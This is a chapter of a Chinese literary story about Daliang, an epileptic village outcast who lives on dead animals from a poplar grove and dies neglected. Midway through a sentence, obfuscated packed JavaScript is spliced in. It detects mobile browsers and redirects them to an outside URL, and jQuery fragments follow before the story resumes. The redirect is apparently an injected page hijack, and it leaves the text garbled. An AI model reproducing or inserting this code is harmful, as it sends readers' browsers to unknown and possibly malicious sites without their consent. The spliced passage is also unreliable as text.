46.杨树林里的影子


    东门外的杨树抽出第一片新叶时，空气里总飘着股说不清的味道。那味道混着泥土的腥气、牲口的粪便味，还有点像灶台上烧糊的玉米饼子，闷闷地压在人胸口。我背着书包经过林子边，总能看见那个高个子男人蹲在树底下，背影像块被雨水泡胀的木头。


    他叫大亮，这名字是后来听二奶奶说的。二奶奶纳鞋底的线绳总在手里绕来绕去，“可怜见的，爹妈给起了这么个透亮名字，人却活得埋汰”。二奶奶说这话时，眼睛总望着窗外，仿佛能穿透土墙，看见那个缩着肩膀的身影。她说大亮刚生下来时也白净可爱，他娘把他裹在红缎被里抱出来见人，谁见了都夸这孩子眼睛亮，名字也起得好——“大亮”，因果明亮，前途光明。可谁也没想到，这孩子长到五岁上发了一场高烧，醒来后就有点不对劲，眼神发直，说话也慢了半拍。十二岁那年第一次抽风倒在村口，从此就成了人们口中的“疯子”、“瘟神”。


    大亮的个子确实高，站在杨树林里时，脑袋能超过最矮的树杈，可他总爱缩着肩膀，像棵被狂风拧过的杨树。春天风大，他那件黑棉袄的袖口烂成了穗子，风一吹就跟着杨叶一起抖，远远看去，分不清哪是衣袂，哪是新抽的枝芽。那件棉袄据说是他爹年轻时穿过的，传到他身上已经穿了十几年，袖口、领子、下摆都磨得油光发亮，里面的棉絮结成了硬块，冬天挡不住风，夏天焐出一身痱子。


    杨树林是村里的垃圾场，谁家的鸡瘟**，猪仔呛水了，都会往林子里扔。大亮就靠这些过活。我见过他捡死狗，手指像枯树枝一样抠进狗僵硬的肚皮，然后佝偻着背往肩上扛。那只黄狗的腿垂下来，爪子在地上拖出浅浅的印子，像条融化的黄油。有回张屠户提着只病死的小猪经过，大亮突然从树后窜出来，眼睛亮得吓人。张屠户把猪往地上一摔，“滚开！这东西吃了要烂肠子的！”大亮不说话，抱起猪就往林子深处跑，黑棉袄的后襟掀起个角，露出里面磨得发亮的里子。


    村里人不待见他。李婶挎着篮子经过，总会往地上啐口唾沫，“丧门星，早晚要遭报应”；二柱子他爹扛着锄头看见他，会故意把锄头在石头上磕得砰砰响。后来大家商量着，把**的牲口往深土里埋，埋的时候还在上面踩实了，再压块大石头。可大亮总有办法找见。清晨的露水还没干时，他就在林子里转悠，脚像铁犁似的翻着地上的落叶，哪里的土松了，哪里的草颜色不对，他一准能看出来。有次我看见他跪在地上，用手刨着块新翻的泥土，指甲缝里嵌满了黑泥，像镶了道永远洗不掉的边。


    “你看啥？”他突然抬起头，脸上还沾着泥点子，眼睛却亮得惊人。我吓得往后退了两步，书包带硌得肩膀生疼。他忽然咧开嘴笑了，那笑容在沾满污垢的脸上绽开，像枯木缝里冒出的野菌，“这猪崽才**半天，还新鲜着呢”。他手里拎着只粉白的小猪，猪嘴微微张着，像是还在哼唧。我转身就跑，听见身后传来他的笑声，那笑声被风吹得七零八落，碎在杨树叶上，变成沙沙的响。


    娘总在我出门前扯着我的胳膊叮嘱：“别往东门走，碰见大亮就绕着道。”她往灶膛里添柴的手会突然停住，“那病邪乎得很，沾着就麻烦”。她说的是大亮的癫痫病。我第一次见他发病，是在五月槐花开得最盛的时候。那天我替爹去供销社打酱油，刚走到东门口的老槐树下，就听见“咚”的一声闷响。回头时，大亮已经躺在地上了，两条长腿不自然地蜷着，像只被打断了腿的蚂蚱。


    他的脸憋得发紫，眼睛翻上去，只剩下眼白，嘴角淌着白沫子，顺着下巴滴在满是尘土的路面上，洇出小小的白印。有个挑担子的货郎赶紧撂下担子，蹲下去掐他的人中。货郎的手指又粗又黑，指甲缝里全是泥，可他捏着大亮鼻子下面那块皮肤时，手却稳得很。周围很快围了些人，没人说话，只有风吹得杨树叶哗啦啦的响，杨絮飞得满天都是，落在大亮抽搐的手背上。


    “这是中了邪吧？”有人小声嘀咕。


    “我看是吃那些脏东西吃的，老天爷都看不下去了。”


    “他爹妈也不管管？”


    议论声像杨絮****一样轻，却一片片落在人心里。大亮突然发出一声怪叫，身子猛地挺起来，又重重摔下去，后脑勺磕在石头上，发出闷响。货郎额头渗着汗，“谁去他家报个信？”没人应声，大家的脚像钉在地上，看着大亮渐渐平息下来，像团燃尽的火堆。


    后来我才知道，大亮不住在正屋里。他家的土坯房在院子西头，烟囱总冒着笔直的烟，可西厢房的窗户永远糊着旧报纸，门也总是锁着。有回我跟着放羊的二柱子路过，看见大亮蹲在厢房门口啃着什么，阳光把他的影子拉得老长，几乎要爬到正屋的门槛上，却又被一道无形的线拦着。二柱子捡起块土疙瘩扔过去，“疯子！”土疙瘩砸在门板上，弹回来落在大亮脚边。他抬头看了我们一眼，嘴里的东西还在动，脸上却慢慢绽开笑容，那笑容里裹着些说不清的东西，像被雨水泡过的棉絮，沉甸甸的。


    西厢房的墙根下，总堆着些破破烂烂的东西。有只缺了口的瓦罐，里面盛着浑浊的水；有件看不出颜色的棉袄，被风吹得鼓鼓囊囊；还有个掉了底的竹筐，里面塞着些干硬的骨头。我猜那是大亮的家当。冬天落雪的时候，那些东西上都会盖层薄雪，只有瓦罐周围的雪化得快些，露出黑黢黢的泥地，像块没愈合的伤疤。


    村里的小孩都怕他，大人们也避之不及。唯独村东头的王老中医偶尔会去看看他。王老中医留着花白的胡子，手里总攥着个紫砂壶。有次我看见他推开西厢房的门，大亮正蜷在草堆上发抖。王老中医从药箱里取出几根银针，在大亮的头上、手上扎了几针，大亮就慢慢平静下来。王老中医临走时，会在门口放几个馒头，有时还有一小包用油纸包着的熟肉。后来王老中医去世了，再也没人去看大亮，西厢房的门就永远锁着了。


    大亮发病的次数越来越勤。有时候在杨树林里，有时候在去河边的路上，甚至有次在村头的碾盘边。他倒下的时候，碾盘上还晒着二奶奶的干辣椒，红得像团火，映着他惨白的脸。有回我看见他娘从正屋里跑出来，手里拿着件棉袄，却在离他几步远的地方停住了，棉袄滑落在地上，她转身往回走，脚步快得像在逃。后来我听二奶奶说，大亮他娘生他时难产，差点没了命，后来又生了两个弟弟，都健健康康的。她不是不疼大亮，是怕，怕那病，怕那命，怕村里人的闲话。


    那年秋天来得早，杨树林里的叶子黄得快，落得也急。我踩着厚厚的落叶去上学，听见林子里有动静。扒着树干往里看时，大亮正蹲在一个土坑边，手里捧着只刚挖出来的死兔子。兔子的**都粘在一起了，发出股酸腐的味。他看见我，没像往常那样咧嘴笑，只是把兔子往怀里揣了揣，慢慢站起来。


    那天的阳光斜斜地穿过树枝，照在他脸上，我突然发现他的眼睛很亮，亮得能映出天上的云。“你看，”他忽然开口，声音哑得像被砂纸磨过，“这兔子腿还软着呢”。他举起兔子的后腿，那腿果然还能微微动弹。我往后退了一步，书包里的文具盒叮当响。他低下头，用袖子擦了擦兔子的眼睛，动作轻得像在抚摸什么宝贝。


    “我不碰你，”他说，声音里带着点我从没听过的东


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391067|183542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    西，像被风吹散的烟，“你也别告诉别人”。


    我没告诉任何人。可第二天路过杨树林时，看见那里新翻了片土，土上还压着块大石头。风卷着落叶往石头缝里钻，发出呜呜的响，像谁在哭。


    那年冬天特别冷，河面的冰结得老厚，孩子们在上面溜冰，笑声能传出去老远。大亮却很少出来了，有人说看见他缩在西厢房里发抖，有人说他娘终于心软了，让他在灶膛边睡了几个晚上。但大多数时候，他还是一个人待在冰冷的西厢房里，伴着一堆破烂和几只总来偷食的老鼠。


    大亮最后一次发病，是在初冬的早晨。那天我起得早，看见他躺在东门口的杨树林边，身上落了层白霜，像盖了层薄棉絮。有个赶车的老汉用鞭子柄戳了戳他，没动静，又蹲下去摸了摸他的鼻子，然后对着村里的方向喊了句什么。声音在结了薄冰的河面上飘出去很远，又被冻回来，碎在杨树枝上。


    他被抬走的时候，我躲在杨树后面。四个人抬着块门板，他躺在上面，两条长腿耷拉下来，随着门板的晃动轻轻摇摆。他那件黑棉袄被风掀起个角，露出里面洗得发白的里子，那颜色像极了初冬的天空。他娘跟在后面，手里攥着块蓝布，布角被风吹得直打她的脸，可她始终没抬头。


    下葬那天，村里去了几个人，都是远亲或邻居，站得远远的。棺材是薄木板钉的，还没上漆，露出木头本来的颜色。大亮他爹往坟坑里扔了第一把土，转身就走了。他娘站在坟边，手指绞着衣角，直到坟头堆起来，才慢慢往回走。没有人哭，没有人说话，只有铁锹铲土的声音，和风吹过荒草的呜咽。


    杨树林很快就被填平了，村里在那里盖了新的砖瓦房。施工的时候，推土机从土里翻出些碎骨头和破瓦罐，被工人当成垃圾扔在了河边。春天的时候，河边长出丛丛野蒿，长得比人还高，风一吹，叶子就哗啦啦地响，像谁在说悄悄话。


    我后来再也没见过大亮。有时候路过村东头的老房子，会看见西厢房的门还锁着，报纸糊的窗户纸被风吹破了个洞，露出里面黑黢黢的屋角。有回下大雨，我看见那扇门被风吹开了条缝，门轴发出吱呀的响声，像谁在叹气。


    过了几年，大亮家搬走了，说是去城里投奔亲戚。老房子卖给了外村人，新主人拆了西厢房，在原地盖了间明亮的砖房，开了三扇大窗户。院子里种了月季和向日葵，夏天的时候开得热热闹闹的，再也找不到从前的影子。


    今年清明回老家，东门口的路面重新铺过了，水泥路面铺得平平整整。我站在路边，望着远处新盖的楼房，忽然听见风里传来些细碎的响动。低头时，看见脚边的石缝里，长出了棵小小的杨树苗，叶子嫩得像能掐出水来。阳光落在上面，晃得人眼睛发酸。


    有个背着书包的小孩跑过来，好奇地盯着树苗看。“这是什么呀？”他问。我正要说话，风又吹过来了，杨树苗轻轻晃了晃，像是有人在远处，对我们露出了半个模糊的笑容。


    那孩子等不及我的回答，蹦蹦跳跳地走了。我蹲下身，轻轻触摸那嫩绿的叶片，忽然想起很多年前，那个蹲在杨树林里的身影，想起他亮得惊人的眼睛，想起他最后对我说的话：“我不碰你，你也别告诉别人。”


    风继续吹着，杨树苗在阳光下微微颤动。我忽然明白，有些生命就像这石缝中的树苗，即便在最贫瘠的土地上，也要倔强地生长，也要向着阳光伸出枝叶。即便没有人记得，没有人关心，它们也曾在这世上活过，爱过，痛苦过。


    我站起身，最后看了一眼那棵幼小的杨树，转身走向村子的方向。身后，风声依旧，仿佛在诉说着一个永远不会被遗忘的故事。